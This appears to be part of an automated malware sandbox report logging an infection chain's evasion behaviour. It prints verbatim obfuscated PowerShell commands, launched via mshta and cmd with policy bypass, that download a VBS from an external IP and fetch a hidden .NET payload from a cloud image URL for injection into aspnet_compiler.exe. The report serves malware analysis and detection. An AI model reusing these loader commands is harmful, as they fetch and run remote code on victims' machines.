                  HIPS / PFW / Operating System Protection Evasion

                  barindex
                  Yara detected Powershell decode and execute
                  Source: Yara matchFile source: amsi32_3004.amsi.csv, type: OTHER
                  Yara detected Powershell download and execute
                  Source: Yara matchFile source: amsi32_3004.amsi.csv, type: OTHER
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3004, type: MEMORYSTR
                  Injects a PE file into a foreign processes
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 value starts with: 4D5AJump to behavior
                  Writes to foreign memory regions
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 401000Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 92B008Jump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.cmdline"Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestthingswhatdoingforbe.vbS" Jump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA8D6.tmp" "c:\Users\user\AppData\Local\Temp\3cxbggpe\CSC280B62266E03482F8F906EDB13385254.TMP"Jump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $doctor = 'JGJlaSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRhbW9uaWVtaWEgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRxdWFscXVlciA9ICRhbW9uaWVtaWEuRG93bmxvYWREYXRhKCRiZWkpOyRhdGVycmFnZW0gPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVhbHF1ZXIpOyRsZWlyaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGFjYXBuYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGlucXVpZXR1ZGUgPSAkYXRlcnJhZ2VtLkluZGV4T2YoJGxlaXJpYSk7JHBlY3RhciA9ICRhdGVycmFnZW0uSW5kZXhPZigkYWNhcG5hKTskaW5xdWlldHVkZSAtZ2UgMCAtYW5kICRwZWN0YXIgLWd0ICRpbnF1aWV0dWRlOyRpbnF1aWV0dWRlICs9ICRsZWlyaWEuTGVuZ3RoOyRjb25kaWNlbnRlID0gJHBlY3RhciAtICRpbnF1aWV0dWRlOyRuaWNvbGF0byA9ICRhdGVycmFnZW0uU3Vic3RyaW5nKCRpbnF1aWV0dWRlLCAkY29uZGljZW50ZSk7JG1hZHJpbGhlaXJhID0gLWpvaW4gKCRuaWNvbGF0by5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkbmljb2xhdG8uTGVuZ3RoKV07JGNyZWR1bGlkYWRlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbWFkcmlsaGVpcmEpOyRyZWRpemltYXIgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjcmVkdWxpZGFkZSk7JHJlYmVsbGFkb3IgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskcmViZWxsYWRvci5JbnZva2UoJG51bGwsIEAoJ3R4dC5BQ01BQy8wNzcvOTIuMzIxLjU0Mi4yNzEvLzpwdHRoJywgJyRyYXBhZG8nLCAnJHJhcGFkbycsICckcmFwYWRvJywgJ2FzcG5ldF9jb21waWxlcicsICckcmFwYWRvJywgJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJzEnLCckcmFwYWRvJykpOw==';$theatrelho = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($doctor));Invoke-Expression $theatrelhoJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"Jump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'jhn2icagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicbhreqtvflwrsagicagicagicagicagicagicagicagicagicagicaglu1fbujfumrfzkloavrjt24gicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1ckxnt04urexmiiwgicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagiexlu3zor3z3ywtalhn0cmluzyagicagicagicagicagicagicagicagicagicagicagcwjfcyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagiehlbwpgvfrllhvpbnqgicagicagicagicagicagicagicagicagicagicagigcssw50uhryicagicagicagicagicagicagicagicagicagicagicbtvgtavxfxvg53ktsnicagicagicagicagicagicagicagicagicagicagicattmfnzsagicagicagicagicagicagicagicagicagicagicagikduiiagicagicagicagicagicagicagicagicagicagicaglw5btuvtuefdzsagicagicagicagicagicagicagicagicagicagicagbxcgicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicrzdjo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze3mi4ynduumtizlji5lzc3mc9zzwvtewjlc3r0agluz3n3agf0zg9pbmdmb3jizxr0zxiudelgiiwijevudjpbufbeqvrbxhnlzw15ymvzdhroaw5nc3doyxrkb2luz2zvcmjllnziuyismcwwktttvefsvc1ttgvlucgzkttpssagicagicagicagicagicagicagicagicagicagicagiirltly6qvbqrefuqvxzzwvtewjlc3r0agluz3n3agf0zg9pbmdmb3jizs52ylmi'+[char]34+'))')))"
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'jhn2icagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicbhreqtvflwrsagicagicagicagicagicagicagicagicagicagicaglu1fbujfumrfzkloavrjt24gicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1ckxnt04urexmiiwgicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagiexlu3zor3z3ywtalhn0cmluzyagicagicagicagicagicagicagicagicagicagicagcwjfcyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagiehlbwpgvfrllhvpbnqgicagicagicagicagicagicagicagicagicagicagigcssw50uhryicagicagicagicagicagicagicagicagicagicagicbtvgtavxfxvg53ktsnicagicagicagicagicagicagicagicagicagicagicattmfnzsagicagicagicagicagicagicagicagicagicagicagikduiiagicagicagicagicagicagicagicagicagicagicaglw5btuvtuefdzsagicagicagicagicagicagicagicagicagicagicagbxcgicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicrzdjo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze3mi4ynduumtizlji5lzc3mc9zzwvtewjlc3r0agluz3n3agf0zg9pbmdmb3jizxr0zxiudelgiiwijevudjpbufbeqvrbxhnlzw15ymvzdhroaw5nc3doyxrkb2luz2zvcmjllnziuyismcwwktttvefsvc1ttgvlucgzkttpssagicagicagicagicagicagicagicagicagicagicagiirltly6qvbqrefuqvxzzwvtewjlc3r0agluz3n3agf0zg9pbmdmb3jizs52ylmi'+[char]34+'))')))"
                  Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $doctor = 'jgjlasa9icdodhrwczovl3jlcy5jbg91zgluyxj5lmnvbs9kexrmbhq2mw4vaw1hz2uvdxbsb2fkl3yxnzmzmtm0otq3l2jrbhb5c2v5zxv0ngltchc1mg4xlmpwzyanoyrhbw9uawvtawegpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50oyrxdwfscxvlcia9icrhbw9uawvtaweurg93bmxvywreyxrhkcrizwkpoyrhdgvycmfnzw0gpsbbu3lzdgvtllrlehqurw5jb2rpbmddojpvvey4lkdldfn0cmluzygkcxvhbhf1zxipoyrszwlyawegpsanpdxcqvnfnjrfu1rbulq+pic7jgfjyxbuysa9icc8pejbu0u2nf9ftkq+pic7jglucxvpzxr1zgugpsakyxrlcnjhz2vtlkluzgv4t2yojgxlaxjpysk7jhbly3rhcia9icrhdgvycmfnzw0usw5kzxhpzigkywnhcg5hktskaw5xdwlldhvkzsatz2ugmcatyw5kicrwzwn0yxiglwd0icrpbnf1awv0dwrloyrpbnf1awv0dwrlics9icrszwlyaweutgvuz3rooyrjb25kawnlbnrlid0gjhbly3rhciaticrpbnf1awv0dwrloyruawnvbgf0bya9icrhdgvycmfnzw0uu3vic3ryaw5nkcrpbnf1awv0dwrllcaky29uzgljzw50zsk7jg1hzhjpbghlaxjhid0glwpvaw4gkcruawnvbgf0by5ub0noyxjbcnjhesgpihwgrm9yrwfjac1pymply3qgeyakxyb9kvstms4ulsgkbmljb2xhdg8utgvuz3rokv07jgnyzwr1bglkywrlid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygkbwfkcmlsagvpcmepoyryzwrpemltyxigpsbbu3lzdgvtlljlzmxly3rpb24uqxnzzw1ibhldojpmb2fkkcrjcmvkdwxpzgfkzsk7jhjlymvsbgfkb3igpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkcdwquknktskcmvizwxsywrvci5jbnzva2uojg51bgwsieaoj3r4dc5bq01bqy8wnzcvotiumzixlju0mi4ynzevlzpwdhrojywgjyryyxbhzg8nlcanjhjhcgfkbycsicckcmfwywrvjywgj2fzcg5ldf9jb21wawxlcicsicckcmfwywrvjywgjyryyxbhzg8nlcckcmfwywrvjywnjhjhcgfkbycsjyryyxbhzg8nlcckcmfwywrvjywnjhjhcgfkbycsjzenlcckcmfwywrvjykpow==';$theatrelho = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($doctor));invoke-expression $theatrelho
                  Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'jhn2icagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicbhreqtvflwrsagicagicagicagicagicagicagicagicagicagicaglu1fbujfumrfzkloavrjt24gicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1ckxnt04urexmiiwgicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagiexlu3zor3z3ywtalhn0cmluzyagicagicagicagicagicagicagicagicagicagicagcwjfcyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagiehlbwpgvfrllhvpbnqgicagicagicagicagicagicagicagicagicagicagigcssw50uhryicagicagicagicagicagicagicagicagicagicagicbtvgtavxfxvg53ktsnicagicagicagicagicagicagicagicagicagicagicattmfnzsagicagicagicagicagicagicagicagicagicagicagikduiiagicagicagicagicagicagicagicagicagicagicaglw5btuvtuefdzsagicagicagicagicagicagicagicagicagicagicagbxcgicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicrzdjo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze3mi4ynduumtizlji5lzc3mc9zzwvtewjlc3r0agluz3n3agf0zg9pbmdmb3jizxr0zxiudelgiiwijevudjpbufbeqvrbxhnlzw15ymvzdhroaw5nc3doyxrkb2luz2zvcmjllnziuyismcwwktttvefsvc1ttgvlucgzkttpssagicagicagicagicagicagicagicagicagicagicagiirltly6qvbqrefuqvxzzwvtewjlc3r0agluz3n3agf0zg9pbmdmb3jizs52ylmi'+[char]34+'))')))"Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'jhn2icagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicbhreqtvflwrsagicagicagicagicagicagicagicagicagicagicaglu1fbujfumrfzkloavrjt24gicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1ckxnt04urexmiiwgicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagiexlu3zor3z3ywtalhn0cmluzyagicagicagicagicagicagicagicagicagicagicagcwjfcyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagiehlbwpgvfrllhvpbnqgicagicagicagicagicagicagicagicagicagicagigcssw50uhryicagicagicagicagicagicagicagicagicagicagicbtvgtavxfxvg53ktsnicagicagicagicagicagicagicagicagicagicagicattmfnzsagicagicagicagicagicagicagicagicagicagicagikduiiagicagicagicagicagicagicagicagicagicagicaglw5btuvtuefdzsagicagicagicagicagicagicagicagicagicagicagbxcgicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicrzdjo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze3mi4ynduumtizlji5lzc3mc9zzwvtewjlc3r0agluz3n3agf0zg9pbmdmb3jizxr0zxiudelgiiwijevudjpbufbeqvrbxhnlzw15ymvzdhroaw5nc3doyxrkb2luz2zvcmjllnziuyismcwwktttvefsvc1ttgvlucgzkttpssagicagicagicagicagicagicagicagicagicagicagiirltly6qvbqrefuqvxzzwvtewjlc3r0agluz3n3agf0zg9pbmdmb3jizs52ylmi'+[char]34+'))')))"Jump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $doctor = 'jgjlasa9icdodhrwczovl3jlcy5jbg91zgluyxj5lmnvbs9kexrmbhq2mw4vaw1hz2uvdxbsb2fkl3yxnzmzmtm0otq3l2jrbhb5c2v5zxv0ngltchc1mg4xlmpwzyanoyrhbw9uawvtawegpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50oyrxdwfscxvlcia9icrhbw9uawvtaweurg93bmxvywreyxrhkcrizwkpoyrhdgvycmfnzw0gpsbbu3lzdgvtllrlehqurw5jb2rpbmddojpvvey4lkdldfn0cmluzygkcxvhbhf1zxipoyrszwlyawegpsanpdxcqvnfnjrfu1rbulq+pic7jgfjyxbuysa9icc8pejbu0u2nf9ftkq+pic7jglucxvpzxr1zgugpsakyxrlcnjhz2vtlkluzgv4t2yojgxlaxjpysk7jhbly3rhcia9icrhdgvycmfnzw0usw5kzxhpzigkywnhcg5hktskaw5xdwlldhvkzsatz2ugmcatyw5kicrwzwn0yxiglwd0icrpbnf1awv0dwrloyrpbnf1awv0dwrlics9icrszwlyaweutgvuz3rooyrjb25kawnlbnrlid0gjhbly3rhciaticrpbnf1awv0dwrloyruawnvbgf0bya9icrhdgvycmfnzw0uu3vic3ryaw5nkcrpbnf1awv0dwrllcaky29uzgljzw50zsk7jg1hzhjpbghlaxjhid0glwpvaw4gkcruawnvbgf0by5ub0noyxjbcnjhesgpihwgrm9yrwfjac1pymply3qgeyakxyb9kvstms4ulsgkbmljb2xhdg8utgvuz3rokv07jgnyzwr1bglkywrlid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygkbwfkcmlsagvpcmepoyryzwrpemltyxigpsbbu3lzdgvtlljlzmxly3rpb24uqxnzzw1ibhldojpmb2fkkcrjcmvkdwxpzgfkzsk7jhjlymvsbgfkb3igpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkcdwquknktskcmvizwxsywrvci5jbnzva2uojg51bgwsieaoj3r4dc5bq01bqy8wnzcvotiumzixlju0mi4ynzevlzpwdhrojywgjyryyxbhzg8nlcanjhjhcgfkbycsicckcmfwywrvjywgj2fzcg5ldf9jb21wawxlcicsicckcmfwywrvjywgjyryyxbhzg8nlcckcmfwywrvjywnjhjhcgfkbycsjyryyxbhzg8nlcckcmfwywrvjywnjhjhcgfkbycsjzenlcckcmfwywrvjykpow==';$theatrelho = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($doctor));invoke-expression $theatrelhoJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
